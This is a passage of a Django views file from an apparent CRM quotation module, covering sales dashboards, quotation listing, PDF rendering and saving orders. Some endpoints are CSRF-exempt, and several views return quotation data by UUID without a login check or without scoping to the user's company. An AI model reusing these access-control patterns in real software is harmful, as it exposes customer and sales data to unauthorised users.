ctotal_amount_sum = 0\n\n quatation_list.append(qtotal_amount_sum)\n salers_list.append(stotal_amount_sum)\n Customer_list.append(ctotal_amount_sum)\n\n date_label = day_name\n data_quatations = quatation_list\n data_salers = salers_list\n data_Customer = Customer_list\n\n\n\n elif chosenlabel == 'Today' or chosenlabel == 'Yesterday':\n for i in range(intervals.days + 1):\n idate = startDate1 + timedelta(days=i)\n idate1 = str(idate)\n idate3 = calendar.day_name[idate.weekday()]\n idate44 = datetime.strptime(idate1, \"%Y-%m-%d\").date()\n quatations_objs = Sale_order.objects.filter(company_id=company_id, module_type='QUOTATION',\n created_at__date=idate1).aggregate(Sum('total_amount'))\n salers_objs = Sale_order.objects.filter(company_id=company_id, module_type='QUOTATION', status='sale',\n created_at__date=idate1).aggregate(Sum('total_amount'))\n Customer_objs = Customer_invoice.objects.filter(company_id=company_id, created_at__date=idate1).aggregate(\n Sum('total_amount'))\n idate2.append(idate1)\n day_name.append(idate3)\n\n if quatations_objs['total_amount__sum'] is not None:\n qtotal_amount_sum = quatations_objs['total_amount__sum']\n else:\n qtotal_amount_sum = 0\n\n if salers_objs['total_amount__sum'] is not None:\n stotal_amount_sum = salers_objs['total_amount__sum']\n else:\n stotal_amount_sum = 0\n\n if Customer_objs['total_amount__sum'] is not None:\n ctotal_amount_sum = Customer_objs['total_amount__sum']\n else:\n ctotal_amount_sum = 0\n\n quatation_list.append(qtotal_amount_sum)\n salers_list.append(stotal_amount_sum)\n Customer_list.append(ctotal_amount_sum)\n\n date_label = [start_label + ' To ' + end_label]\n\n data_quatations = quatation_list\n data_salers = salers_list\n data_Customer = Customer_list\n\n elif chosenlabel == 'This Month' or chosenlabel == 'Last Month' or chosenlabel == 'Last 30 Days':\n for i in range(intervals.days + 1):\n idate = startDate1 + timedelta(days=i)\n idate1 = str(idate)\n idate3 = calendar.day_name[idate.weekday()]\n idate44 = idate.strftime(' %d %b ')\n quatations_objs = Sale_order.objects.filter(company_id=company_id, module_type='QUOTATION',\n created_at__date=idate1).aggregate(Sum('total_amount'))\n salers_objs = Sale_order.objects.filter(company_id=company_id, module_type='QUOTATION', status='sale',\n created_at__date=idate1).aggregate(Sum('total_amount'))\n Customer_objs = Customer_invoice.objects.filter(company_id=company_id, created_at__date=idate1).aggregate(\n Sum('total_amount'))\n idate2.append(idate44)\n day_name.append(idate3)\n\n if quatations_objs['total_amount__sum'] is not None:\n qtotal_amount_sum = quatations_objs['total_amount__sum']\n else:\n qtotal_amount_sum = 0\n\n if salers_objs['total_amount__sum'] is not None:\n stotal_amount_sum = salers_objs['total_amount__sum']\n else:\n stotal_amount_sum = 0\n\n if Customer_objs['total_amount__sum'] is not None:\n ctotal_amount_sum = Customer_objs['total_amount__sum']\n else:\n ctotal_amount_sum = 0\n\n quatation_list.append(qtotal_amount_sum)\n salers_list.append(stotal_amount_sum)\n Customer_list.append(ctotal_amount_sum)\n\n date_label = idate2\n\n data_quatations = quatation_list\n data_salers = salers_list\n data_Customer = Customer_list\n\n else:\n for i in range(intervals.days + 1):\n idate = startDate1 + timedelta(days=i)\n idate1 = str(idate)\n idate3 = calendar.day_name[idate.weekday()]\n idate44 = idate.strftime(' %d %b ')\n quatations_objs = Sale_order.objects.filter(company_id=company_id, module_type='QUOTATION',\n created_at__date=idate1).aggregate(Sum('total_amount'))\n salers_objs = Sale_order.objects.filter(company_id=company_id, module_type='QUOTATION', status='sale',\n created_at__date=idate1).aggregate(Sum('total_amount'))\n Customer_objs = Customer_invoice.objects.filter(company_id=company_id, created_at__date=idate1).aggregate(\n Sum('total_amount'))\n idate2.append(idate44)\n day_name.append(idate3)\n\n if quatations_objs['total_amount__sum'] is not None:\n qtotal_amount_sum = quatations_objs['total_amount__sum']\n else:\n qtotal_amount_sum = 0\n\n if salers_objs['total_amount__sum'] is not None:\n stotal_amount_sum = salers_objs['total_amount__sum']\n else:\n stotal_amount_sum = 0\n\n if Customer_objs['total_amount__sum'] is not None:\n ctotal_amount_sum = Customer_objs['total_amount__sum']\n else:\n ctotal_amount_sum = 0\n\n quatation_list.append(qtotal_amount_sum)\n salers_list.append(stotal_amount_sum)\n Customer_list.append(ctotal_amount_sum)\n if i < 1:\n date_label = [start_label + ' To ' + end_label]\n elif i >= 1 and i < 7:\n date_label = day_name\n else:\n date_label = idate2\n\n data_quatations = quatation_list\n data_salers = salers_list\n data_Customer = Customer_list\n\n data['date_label'] = date_label\n data['salers_list'] = salers_list\n data['quatation_list'] = quatation_list\n data['Customer_list'] = Customer_list\n data['ctotal_amount'] = ctotal_amount\n data['csubtotal_amount'] = csubtotal_amount\n data['csubtotal_amount_avg'] = csubtotal_amount_avg\n data['ctex'] = ctex\n data['ctotal_amount_avg'] = ctotal_amount_avg\n data['total_amount'] = qtotal_amount\n data['stotal_amount'] = stotal_amount\n data['currency'] = currency\n data['data_quatations'] = data_quatations\n data['data_salers'] = data_salers\n data['data_Customer'] = data_Customer\n\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\n\n\n\n@login_required(login_url=\"/login/\")\n@csrf_exempt\ndef listdata(request):\n utils = Utils()\n data = {}\n company_id = request.user.profile.company_id\n quatation_list = []\n total_amount = 0\n user_obj = request.user\n user_id = user_obj.id\n currency = get_currency_name(company_id)\n limit = settings.PAGGING_LIMIT\n\n try:\n roles = request.user.profile.roles\n except Profile.DoesNotExist:\n roles = \"ADMIN\"\n\n if request.method == \"POST\":\n json_data = json.loads(request.POST['fields'])\n parameter = formatFields(json_data)\n id_list = json.loads(request.POST['id'])\n dic_name = json.loads(request.POST['names'])\n dic_total = json.loads(request.POST['total_amount'])\n dic_customer = json.loads(request.POST['customer'])\n query = Q()\n total = Q()\n customer = Q()\n filter_list =[]\n if \"won_lost_filter\" in request.POST:\n filter_list = json.loads(request.POST['won_lost_filter'])\n\n offset = int(parameter['offset'])\n limit = offset + int(limit)\n orderby = \"-id\"\n\n if 'ROLE_MANAGE_ALL_QUOTATION' in roles or 'ROLE_VIEW_ALL_MANGE_OWN_QUOTATION' in roles:\n if len(filter_list) > 0:\n if id_list is not None and id_list != '':\n quatations_objs = Sale_order.objects.filter(opportunity_id=id_list).order_by('id')\n else:\n quatations_objs = Sale_order.objects.filter(company_id=company_id, module_type='QUOTATION',\n status__in=filter_list).order_by('id')\n if len(dic_name) > 0:\n for name in dic_name:\n query = query | Q(name__icontains=name)\n quatations_objs = quatations_objs.filter(query)\n if len(dic_total) > 0:\n for totale in dic_total:\n total = total | Q(total_amount__icontains=totale)\n quatations_objs = quatations_objs.filter(total)\n if len(dic_customer) > 0:\n for customers in dic_customer:\n customer = customer | Q(customer_name__icontains=customers)\n quatations_objs = quatations_objs.filter(customer)\n else:\n if id_list is not None and id_list != '':\n quatations_objs = Sale_order.objects.filter(opportunity_id=id_list).order_by('id')\n\n else:\n quatations_objs = Sale_order.objects.filter(company_id=company_id, module_type='QUOTATION').order_by(\n 'id')\n if len(dic_name) > 0:\n for name in dic_name:\n query = query | Q(name__icontains=name)\n quatations_objs = quatations_objs.filter(query)\n if len(dic_total) > 0:\n for totale in dic_total:\n total = total | Q(total_amount__icontains=totale)\n quatations_objs = quatations_objs.filter(total)\n if len(dic_customer) > 0:\n for customers in dic_customer:\n customer = customer | Q(customer_name__icontains=customers)\n quatations_objs = quatations_objs.filter(customer)\n\n elif 'ROLE_VIEW_OWN_MANAGE_OWN_QUOTATION' in roles:\n if len(filter_list) > 0:\n if id_list is not None and id_list != '':\n quatations_objs = Sale_order.objects.filter(opportunity_id=id_list).order_by('id')\n\n else:\n quatations_objs = Sale_order.objects.filter(create_by_user=user_id, module_type='QUOTATION',\n status__in=filter_list).order_by('id')\n if len(dic_name) > 0:\n for name in dic_name:\n query = query | Q(name__icontains=name)\n quatations_objs = quatations_objs.filter(query)\n\n if len(dic_total) > 0:\n for totale in dic_total:\n total = total | Q(total_amount__icontains=totale)\n quatations_objs = quatations_objs.filter(total)\n\n if len(dic_customer) > 0:\n for customers in dic_customer:\n customer = customer | Q(customer_name__icontains=customers)\n quatations_objs = quatations_objs.filter(customer)\n else:\n if id_list is not None and id_list != '':\n quatations_objs = Sale_order.objects.filter(opportunity_id=id_list).order_by('id')\n\n else:\n quatations_objs = Sale_order.objects.filter(create_by_user=user_id,\n module_type='QUOTATION').order_by('id')\n\n if len(dic_name) > 0:\n for name in dic_name:\n query = query | Q(name__icontains=name)\n quatations_objs = quatations_objs.filter(query)\n\n if len(dic_total) > 0:\n for totale in dic_total:\n total = total | Q(total_amount__icontains=totale)\n quatations_objs = quatations_objs.filter(total)\n\n if len(dic_customer) > 0:\n for customers in dic_customer:\n customer = customer | Q(customer_name__icontains=customers)\n quatations_objs = quatations_objs.filter(customer)\n\n\n\n total_quots = len(quatations_objs)\n quatations_objs = quatations_objs.order_by(orderby)\n quatations_objs = quatations_objs[offset:limit]\n data['total_count'] = total_quots\n if len(quatations_objs) > 0:\n for o in quatations_objs:\n order_date = None\n customer_name = None\n if o.customer_id is not None:\n customer_name = o.customer_name\n if o.order_date is not None:\n order_date = format_date(o.order_date, request.user.profile.company.currency)\n status = getQoutationStatus(o.status)\n can_remove = False\n if o.status == 'draft' or o.status == 'cancel':\n can_remove = True\n\n quatation_list.append({'id': o.id,\n 'uuid':str(o.uuid),\n 'user_id': o.create_by_user_id,\n 'qt_num': o.name,\n 'order_date': order_date,\n 'customer': customer_name,\n 'sales_person': 'Administrator',\n 'total': utils.round_value(o.total_amount),\n 'status': status,\n 'can_remove': can_remove,\n 'enc_url': str(o.uuid),\n })\n if o.total_amount is not None:\n total_amount = total_amount + int(o.total_amount)\n\n data['quatation_list'] = quatation_list\n data['total_amount'] = utils.round_value(total_amount)\n data['currency'] = currency\n\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\n\n\n\n\ndef getQoutationStatus(status):\n status_dict = {\n 'draft': 'Quotation',\n 'sent': 'Quotation Sent',\n 'sale': 'Sales Order',\n 'cancel': 'Cancelled'\n }\n\n return status_dict.get(status, 'Quotation')\n\n\n@login_required(login_url=\"/login/\")\ndef preview(request, preview_id, previewtype):\n return render(request, 'web/app.html')\n\n\ndef pdf_html(request, uuid, report_for):\n data = {}\n data['success'] = False\n pdf_obj = Sale_order.objects.get(uuid=uuid)\n if pdf_obj:\n company_id = pdf_obj.company_id\n user_id = pdf_obj.create_by_user_id\n preview_id = pdf_obj.id\n pdf_obj_role = Profile.objects.filter(user_id=user_id)\n for pdf_ob_role in pdf_obj_role:\n roles = pdf_ob_role.roles\n currency = get_currency_name(company_id)\n\n # To do refactor below code\n context = getQuotationData(preview_id, company_id, user_id, roles, currency, report_for)\n discount = []\n opdiscount = []\n pdis = False\n opdis = False\n is_product_tax = False\n is_op_product_tax = False\n for pro in context['products']:\n if \"discount\" in pro and float(pro['discount']) > 0.00:\n pdis = True\n discount.append(pdis)\n else:\n discount.append(pdis)\n\n if pro['product_tax_name']:\n is_product_tax = True\n\n for op in context['optional_products']:\n if op['discount'] > 0:\n opdis = True\n opdiscount.append(opdis)\n else:\n opdiscount.append(opdis)\n\n if op['product_tax_name']:\n is_op_product_tax = True\n\n pdiscount = not any(discount)\n opdiscount = not any(opdiscount)\n context['is_product_discount'] = pdis\n context['is_product_tax'] = is_product_tax\n context['is_opt_discount'] = opdis\n context['is_op_product_tax'] = is_op_product_tax\n context['pdiscount'] = pdiscount\n context['opdiscount'] = opdiscount\n context['print_link'] = '/generate_pdf/' + uuid + '/' + report_for + '/'\n return render(request, 'web/quotation/pdf_html.html', context)\n\n\ndef pdf_download(request, uuid):\n data = {}\n data['success'] = False\n pdf_obj = Sale_order.objects.get(uuid=uuid)\n if pdf_obj:\n company_id = pdf_obj.company_id\n user_id = pdf_obj.create_by_user_id\n preview_id = pdf_obj.id\n pdf_obj_role = Profile.objects.filter(user_id=user_id)\n for pdf_ob_role in pdf_obj_role:\n roles = pdf_ob_role.roles\n currency = get_currency_name(company_id)\n context = getQuotationData(preview_id, company_id, user_id, roles, currency)\n\n discount = []\n opdiscount = []\n pdis = False\n opdis = False\n is_product_tax = False\n is_op_product_tax = False\n for pro in context['products']:\n if pro['discount'] and float(pro['discount']) > 0.00:\n pdis = True\n discount.append(pdis)\n else:\n discount.append(pdis)\n if pro['product_tax_name']:\n is_product_tax = True\n\n for op in context['optional_products']:\n if op['discount'] > 0:\n opdis = True\n opdiscount.append(opdis)\n else:\n opdiscount.append(opdis)\n\n if op['product_tax_name']:\n is_op_product_tax = True\n\n pdiscount = not any(discount)\n opdiscount = not any(opdiscount)\n context['is_product_discount'] = pdis\n context['is_product_tax'] = is_product_tax\n context['is_opt_discount'] = opdis\n context['is_op_product_tax'] = is_op_product_tax\n context['pdiscount'] = pdiscount\n context['opdiscount'] = opdiscount\n return render(request, 'web/quotation/home_page.html', context)\n\n\ndef document_header(request, uuid, report_for):\n data = {}\n data['success'] = False\n pdf_obj = Sale_order.objects.get(uuid=uuid)\n if pdf_obj:\n company_id = pdf_obj.company_id\n user_id = pdf_obj.create_by_user_id\n preview_id = pdf_obj.id\n pdf_obj_role = Profile.objects.filter(user_id=user_id)\n for pdf_ob_role in pdf_obj_role:\n roles = pdf_ob_role.roles\n currency = get_currency_name(company_id)\n context = getQuotationData(preview_id, company_id, user_id, roles, currency, report_for)\n return render(request, 'web/quotation/header.html', context)\n\n\ndef document_footer(request, uuid):\n data = {}\n data['success'] = False\n pdf_obj = Sale_order.objects.get(uuid=uuid)\n if pdf_obj:\n company_id = pdf_obj.company_id\n user_id = pdf_obj.create_by_user_id\n preview_id = pdf_obj.id\n pdf_obj_role = Profile.objects.filter(user_id=user_id)\n for pdf_ob_role in pdf_obj_role:\n roles = pdf_ob_role.roles\n currency = get_currency_name(company_id)\n context = getQuotationData(preview_id, company_id, user_id, roles, currency, None)\n return render(request, 'web/quotation/footer.html', context)\n\n\n@login_required(login_url=\"/login/\")\ndef add(request):\n return render(request, 'web/app.html')\n\n\n@login_required(login_url=\"/login/\")\n@csrf_exempt\ndef adddata(request):\n data = {'success':True}\n company_id = request.user.profile.company_id\n user_obj = request.user\n user_id = user_obj.id\n currency = get_currency_name(company_id)\n try:\n roles = request.user.profile.roles\n except Profile.DoesNotExist:\n roles = \"ADMIN\"\n\n data['currency'] = currency\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\n\n\ndef getPorTaxes(company_id, user_id, roles):\n taxes_list = []\n utils = Utils()\n if 'ROLE_MANAGE_ALL_QUOTATION' in roles:\n taxes_obj = Product_taxes.objects.filter(scope='sale', company_id=company_id)\n\n elif 'ROLE_VIEW_OWN_MANAGE_OWN_QUOTATION' in roles or 'ROLE_VIEW_ALL_MANGE_OWN_QUOTATION' in roles:\n taxes_obj = Product_taxes.objects.filter(scope='sale', user_id=user_id)\n\n for o in taxes_obj:\n taxes_list.append({'id': o.id, 'name': o.name, 'value': utils.round_value(o.value), 'computation': o.computation})\n\n return taxes_list\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef getUOMforProduct(category_id, company_id):\n uom_list = []\n if category_id != '':\n uom_objs = Product_unit_of_measure.objects.filter(category_id=category_id, company_id=company_id)\n else:\n uom_objs = Product_unit_of_measure.objects.filter(company_id=company_id)\n\n for uom in uom_objs:\n uom_list.append({\n 'id': uom.id,\n 'name': uom.name\n })\n\n return uom_list\n\n\n@login_required(login_url=\"/login/\")\ndef saveQuatation(request):\n utils = Utils()\n data = {}\n data['success'] = False\n company_id = request.user.profile.company_id\n user_obj = request.user\n user_id = user_obj.id\n json_data = json.loads(request.POST['fields'])\n\n sale_order_obj = Sale_order()\n sale_order_obj.company_id = company_id\n sale_order_obj.create_by_user = user_obj\n sale_order_obj.sales_person_id = user_id\n sale_order_obj.module_type = 'QUOTATION'\n if json_data['module_name'] == 'quotation':\n sale_order_obj.status = 'draft'\n elif json_data['module_name'] == 'sales-order':\n sale_order_obj.status = 'sale'\n sale_order_obj.invoice_status = 'no'\n sale_order_obj.customer_order_reference = 'customer reference'\n\n if 'opportunity_id' in json_data and json_data['opportunity_id'] is not None and json_data['opportunity_id'] != '':\n sale_order_obj.opportunity_id = int(json_data['opportunity_id'])\n\n if 'customer_id' in json_data and json_data['customer_id'] != '' and int(json_data['customer_id']) > 0:\n sale_order_obj.customer_id = int(json_data['customer_id'])\n\n if 'customer_name' in json_data and json_data['customer_name'] != '':\n sale_order_obj.customer_name = json_data['customer_name']\n\n if 'quot_tmpl' in json_data and json_data['quot_tmpl'] != '':\n sale_order_obj.qout_template_id = int(json_data['quot_tmpl'])\n\n TODAY = datetime.today()\n mon_rel = relativedelta(months=1)\n expiration_date_else = TODAY + mon_rel\n\n if 'order_date' in json_data and json_data['order_date'] != '':\n sale_order_obj.order_date = datetime.strptime(json_data['order_date'], \"%m/%d/%Y\")\n else:\n sale_order_obj.order_date = datetime.today()\n\n if 'expexted_closing' in json_data and json_data['expexted_closing'] != '':\n sale_order_obj.expiration_date = datetime.strptime(json_data['expexted_closing'], \"%m/%d/%Y\")\n else:\n sale_order_obj.expiration_date = expiration_date_else\n\n if 'payment_term' in json_data and json_data['payment_term'] != '' and int(json_data['payment_term']) != 0:\n sale_order_obj.payment_term_id = int(json_data['payment_term'])\n\n if 'delivery_method' in json_data and json_data['delivery_method'] != '':\n sale_order_obj.delivery_method_id = int(json_data['delivery_method'])\n\n if 'tax_amt' in json_data and json_data['tax_amt'] != '':\n sale_order_obj.tax_amount = utils.round_value(json_data['tax_amt'])\n\n if 'untaxed_amt' in json_data and json_data['untaxed_amt'] != '':\n sale_order_obj.amount_untaxed = utils.round_value(json_data['untaxed_amt'])\n if 'tax_amt' in json_data and json_data['tax_amt'] != '':\n sale_order_obj.total_amount = utils.round_value(json_data['untaxed_amt']) + utils.round_value(\n json_data['tax_amt'])\n else:\n sale_order_obj.total_amount = utils.round_value(json_data['untaxed_amt'])\n\n if 'optax_amt' in json_data and json_data['optax_amt'] != '':\n sale_order_obj.optax_amount = utils.round_value(json_data['optax_amt'])\n\n if 'opuntaxed_amt' in json_data and json_data['opuntaxed_amt'] != '':\n sale_order_obj.opamount_untaxed = utils.round_value(json_data['opuntaxed_amt'])\n if 'optax_amt' in json_data and json_data['optax_amt'] != '':\n sale_order_obj.optotal_amount = utils.round_value(json_data['opuntaxed_amt']) + utils.round_value(\n json_data['optax_amt'])\n else:\n sale_order_obj.optotal_amount = utils.round_value(json_data['opuntaxed_amt'])\n\n\n\n if 'notes' in json_data:\n sale_order_obj.notes = json_data['notes']\n\n sale_order_obj.save()\n\n so_id = sale_order_obj.id\n customer_id = sale_order_obj.customer_id\n\n total_quotations = Sale_order.objects.filter(company_id=company_id).count()\n name = 'SO'\n if total_quotations > 0:\n str_count = str(total_quotations)\n if len(str_count) == 1:\n name = name + '00' + str_count\n elif len(str_count) == 2:\n name = name + '0' + str_count\n elif len(str_count) > 2:\n name = name + str_count\n else:\n name = name + str(total_quotations + 1)\n\n sale_order_obj.name = name\n sale_order_obj.save()\n\n if so_id > 0:\n addProduct(json_data['products'], 'order', sale_order_obj, user_obj, company_id, customer_id)\n addProduct(json_data['optional_products'], 'optional', sale_order_obj, user_obj, company_id, customer_id)\n addEmailreminder(json_data['options_numbers'], sale_order_obj, user_obj, company_id)\n contact_change_status(customer_id, 'lead')\n message = json_data['module_name'].title()+ \" \" + \"\\\"\" + sale_order_obj.name + \"\\\"\" + ' has been created by ' + request.user.get_full_name().title()\n contact_create_action_dic = {'company_id': company_id, 'message': message,\n 'module_name': json_data['module_name'],\n 'module_object': sale_order_obj, 'user': request.user}\n message_create_for_create_action(contact_create_action_dic)\n\n data['success'] = True\n data['id'] = so_id\n data['uuid'] = str(sale_order_obj.uuid)\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\n\n\n# update quotation data\n@login_required(login_url=\"/login/\")\ndef updateQuatation(request):\n utils = Utils()\n data = {'success':False}\n company_id = request.user.profile.company_id\n user_obj = request.user\n\n json_data = json.loads(request.POST['fields'])\n\n if 'id' in json_data and json_data['id']:\n try:\n sale_order_obj = Sale_order.objects.get(uuid=json_data['id'])\n sale_order_obj.update_by_user = user_obj\n\n if 'customer_id' in json_data and json_data['customer_id'] != '' and int(json_data['customer_id']) > 0:\n sale_order_obj.customer_id = int(json_data['customer_id'])\n else:\n sale_order_obj.customer_id = None\n\n if 'customer_name' in json_data and json_data['customer_name'] != '':\n sale_order_obj.customer_name = json_data['customer_name']\n else:\n sale_order_obj.customer_name = None\n\n if 'quot_tmpl' in json_data and json_data['quot_tmpl'] != '':\n sale_order_obj.qout_template_id = int(json_data['quot_tmpl'])\n else:\n sale_order_obj.qout_template_id = None\n\n TODAY = datetime.today()\n mon_rel = relativedelta(months=1)\n expiration_date_else = TODAY + mon_rel\n\n if 'order_date' in json_data and json_data['order_date'] != '':\n sale_order_obj.order_date = datetime.strptime(json_data['order_date'], \"%m/%d/%Y\")\n else:\n sale_order_obj.order_date = datetime.today()\n\n if 'expexted_closing' in json_data and json_data['expexted_closing'] != '':\n sale_order_obj.expiration_date = datetime.strptime(json_data['expexted_closing'], \"%m/%d/%Y\")\n else:\n sale_order_obj.expiration_date = expiration_date_else\n\n if 'payment_term' in json_data and json_data['payment_term'] != '' and int(json_data['payment_term']) != 0:\n sale_order_obj.payment_term_id = int(json_data['payment_term'])\n\n if 'delivery_method' in json_data and json_data['delivery_method'] != '':\n sale_order_obj.delivery_method_id = int(json_data['delivery_method'])\n\n if 'tax_amt' in json_data and json_data['tax_amt'] != '':\n sale_order_obj.tax_amount = utils.round_value(json_data['tax_amt'])\n\n if 'untaxed_amt' in json_data and json_data['untaxed_amt'] != '':\n sale_order_obj.amount_untaxed = utils.round_value(json_data['untaxed_amt'])\n if 'tax_amt' in json_data and json_data['tax_amt'] != '':\n sale_order_obj.total_amount = utils.round_value(json_data['untaxed_amt']) + utils.round_value(\n json_data['tax_amt'])\n else:\n sale_order_obj.total_amount = utils.round_value(json_data['untaxed_amt'])\n\n if 'optax_amt' in json_data and json_data['optax_amt'] != '':\n sale_order_obj.optax_amount = utils.round_value(json_data['optax_amt'])\n\n if 'opuntaxed_amt' in json_data and json_data['opuntaxed_amt'] != '':\n sale_order_obj.opamount_untaxed = utils.round_value(json_data['opuntaxed_amt'])\n if 'optax_amt' in json_data and json_data['optax_amt'] != '':\n sale_order_obj.optotal_amount = utils.round_value(json_data['opuntaxed_amt']) + utils.round_value(\n json_data['optax_amt'])\n else:\n sale_order_obj.optotal_amount = utils.round_value(json_data['opuntaxed_amt'])\n\n if 'notes' in json_data:\n sale_order_obj.notes = json_data['notes']\n\n sale_order_obj.save()\n\n so_id = sale_order_obj.id\n customer_id = sale_order_obj.customer_id\n\n Email_reminder.objects.filter(sale_id=sale_order_obj).delete()\n\n\n if so_id > 0:\n # print(\"product Raw\", json_data['products']['product_raw'])\n Sale_order_record.objects.filter(order=sale_order_obj).delete()\n addProduct(json_data['products'], 'order', sale_order_obj, user_obj, company_id, customer_id)\n addProduct(json_data['optional_products'], 'optional', sale_order_obj, user_obj, company_id,\n customer_id)\n addEmailreminder(json_data['options_numbers'], sale_order_obj, user_obj, company_id)\n contact_change_status(customer_id, 'lead')\n\n data['id'] = so_id\n data['uuid'] = json_data['id']\n data['success'] = True\n\n except Sale_order.DoesNotExist:\n data['success'] = False\n\n return HttpResponse(json.dumps(data), content_type='application/json')\n\n\ndef addEmailreminder(options_numbers, so_obj, user_obj, company_id):\n for pro in options_numbers:\n product_data = formatFields(pro['reminder_raw'])\n if product_data['numbers'] is not None and product_data['numbers'] != '':\n so_record_obj = Email_reminder()\n so_record_obj.sale = so_obj\n so_record_obj.numbers = product_data['numbers']\n so_record_obj.event_type = product_data['daytype']\n so_record_obj.email_template_id = product_data['email_template']\n so_record_obj.company_id = company_id\n so_record_obj.create_by_user = user_obj\n so_record_obj.save()\n\n\ndef addProduct(products, line_type, so_obj, user_obj, company_id, customer_id):\n for pro in products:\n if pro['product_id'] is not None and pro['product_id'] != '':\n product = Product.objects.get(uuid=pro['product_id'], company_id=company_id)\n if product:\n so_record_obj = Sale_order_record()\n so_record_obj.order = so_obj\n so_record_obj.discription = pro['description']\n so_record_obj.customer = customer_id\n so_record_obj.Product_id = product.id\n so_record_obj.company_id = company_id\n so_record_obj.create_by_user = user_obj\n so_record_obj.product_qty = pro['order_qty']\n so_record_obj.product_uom_id = int(pro['uom']) if 'uom' in pro and pro['uom'] != '' else None\n so_record_obj.discount = float(pro['discount'])\n so_record_obj.unit_price = float(pro['unit_price'])\n if line_type == 'order':\n so_record_obj.Taxes_id = int(pro['tax']) if 'tax' in pro and pro['tax'] != '' else None\n so_record_obj.tax_price = float(pro['tax_amt'])\n so_record_obj.price_subtotal = float(pro['subtotal'])\n so_record_obj.price_total = float(pro['subtotal']) + float(pro['tax_amt'])\n elif line_type == 'optional':\n so_record_obj.Taxes_id = int(pro['tax']) if 'tax' in pro and pro['tax'] != '' else None\n so_record_obj.tax_price = float(pro['tax_amt'])\n so_record_obj.price_subtotal = float(pro['subtotal'])\n so_record_obj.price_total = float(pro['subtotal']) + float(pro['tax_amt'])\n so_record_obj.line_type = line_type\n so_record_obj.status = 'Quotation'\n so_record_obj.invoice_status = 'no'\n so_record_obj.save()\n\n\ndef formatFields(json_data):\n fields = {}\n for json_obj in json_data:\n fields[json_obj[\"name\"]] = json_obj[\"value\"]\n\n return fields\n\n\ndef getUomlist(company_id, user_id, roles):\n uom_list = []\n if 'ROLE_MANAGE_ALL_QUOTATION' in roles:\n uom_objs = Product_unit_of_measure.objects.filter(company_id=company_id)\n\n elif 'ROLE_VIEW_OWN_MANAGE_OWN_QUOTATION' in roles or 'ROLE_VIEW_ALL_MANGE_OWN_QUOTATION' in roles:\n uom_objs = Product_unit_of_measure.objects.filter(company_id=company_id,create_by_id=user_id)\n\n if len(uom_objs) > 0:\n for uom in uom_objs:\n uom_list.append({'id': uom.id,\n 'name': uom.name\n })\n\n return uom_list\n\n\n# return uom list serach more\ndef getUomListdata(request):\n data = {}\n\n uom_list = []\n uom_objs = Product_unit_of_measure.objects.all()\n\n if len(uom_objs) > 0:\n for uom in uom_objs:\n\n category_name = ''\n if uom.category is not None:\n category_name = uom.category.name\n\n uom_list.append({'id': uom.id,\n 'name': uom.name,\n 'category_name': category_name\n })\n\n if len(uom_list) > 0:\n data['json_uom'] = uom_list\n\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\n\n\n@login_required(login_url=\"/login/\")\ndef view(request, view_id):\n return render(request, 'web/app.html')\n\n\ndef getTaxesListdata(request):\n company_id = request.user.profile.company_id\n user_obj = request.user\n user_id = user_obj.id\n try:\n roles = request.user.profile.roles\n except Profile.DoesNotExist:\n roles = \"ADMIN\"\n data = {}\n\n json_taxes = getPorTaxes(company_id, user_id, roles)\n\n if len(json_taxes):\n data['json_taxes'] = json_taxes\n\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\n\n\ndef viewdata(request, uuid):\n data = {'success':False}\n company_id = request.user.profile.company_id\n user_obj = request.user\n user_id = user_obj.id\n try:\n res = Sale_order.objects.get(uuid=uuid, company_id=company_id)\n if res:\n view_id = res.id\n currency = get_currency_name(company_id)\n try:\n roles = request.user.profile.roles\n except Profile.DoesNotExist:\n roles = \"ADMIN\"\n\n text_invoice = []\n text_invoice12 = []\n quotation_data = getQuotationData(view_id, company_id, user_id, roles, currency, None)\n Invoicing_data = getInvoicingData(view_id, company_id)\n total_Invoicing_data = len(Invoicing_data)\n\n Invoicing_objs1 = Customer_invoice.objects.filter(quotation_id=view_id,company_id=company_id)\n\n for invoice1 in Invoicing_objs1:\n\n text_invoice.append(invoice1.invoice_status)\n if 'all' in text_invoice or 'delivered' in text_invoice:\n text_invoice12 = 'YES'\n else:\n text_invoice12 = 'NO'\n\n if quotation_data is not None:\n data['quotation'] = quotation_data\n data['Invoicing'] = Invoicing_data\n data['text_invoice'] = text_invoice\n data['text_invoice12'] = text_invoice12\n data['total_Invoicing_data'] = total_Invoicing_data\n data['user_id'] = user_id\n data['success'] = True\n\n except Sale_order.DoesNotExist:\n pass\n\n return HttpResponse(json.dumps(data), content_type='application/json')\n\n\ndef getInvoicingData(view_id, company_id):\n invoicing_list = []\n Invoicing_objs = Customer_invoice.objects.filter(quotation_id=view_id,company_id=company_id)\n for invoice in Invoicing_objs:\n invoicing_list.append({'id': invoice.id,\n 'invoice_status': invoice.invoice_status})\n\n return invoicing_list\n\n\ndef getOpIdList(request, company_id, user_id, roles):\n op_id_list = []\n\n if 'ROLE_MANAGE_ALL_QUOTATION' in roles or 'ROLE_VIEW_ALL_MANGE_OWN_QUOTATION' in roles:\n\n op_objs = Sale_order.objects.filter(company_id=company_id, module_type='QUOTATION').order_by('id')\n\n elif 'ROLE_VIEW_OWN_MANAGE_OWN_QUOTATION' in roles:\n\n op_objs = Sale_order.objects.filter(company_id=company_id, create_by_user_id=user_id, module_type='QUOTATION').order_by('id')\n\n for op in op_objs:\n op_id_list.append({'id': op.id})\n\n return op_id_list\n\n\ndef getOpIdListedit(request, company_id, user_id, roles):\n op_id_list = []\n\n if 'ROLE_MANAGE_ALL_QUOTATION' in roles:\n\n op_objs = Sale_order.objects.filter(company_id=company_id, module_type='QUOTATION').order_by('id')\n\n elif 'ROLE_VIEW_OWN_MANAGE_OWN_QUOTATION' in roles or 'ROLE_VIEW_ALL_MANGE_OWN_QUOTATION' in roles:\n\n op_objs = Sale_order.objects.filter(company_id=company_id, create_by_user_id=user_id, module_type='QUOTATION').order_by('id')\n\n for op in op_objs:\n op_id_list.append({'id': op.id})\n\n return op_id_list\n\n\ndef getQuotationData(id, company_id, user_id, roles, currency, report_for=None):\n utils = Utils()\n try:\n quatations_obj = Sale_order.objects.get(pk=int(id), company_id=company_id)\n\n customer_name = ''\n customer_id = ''\n if quatations_obj.customer_id is not None:\n customer_id = 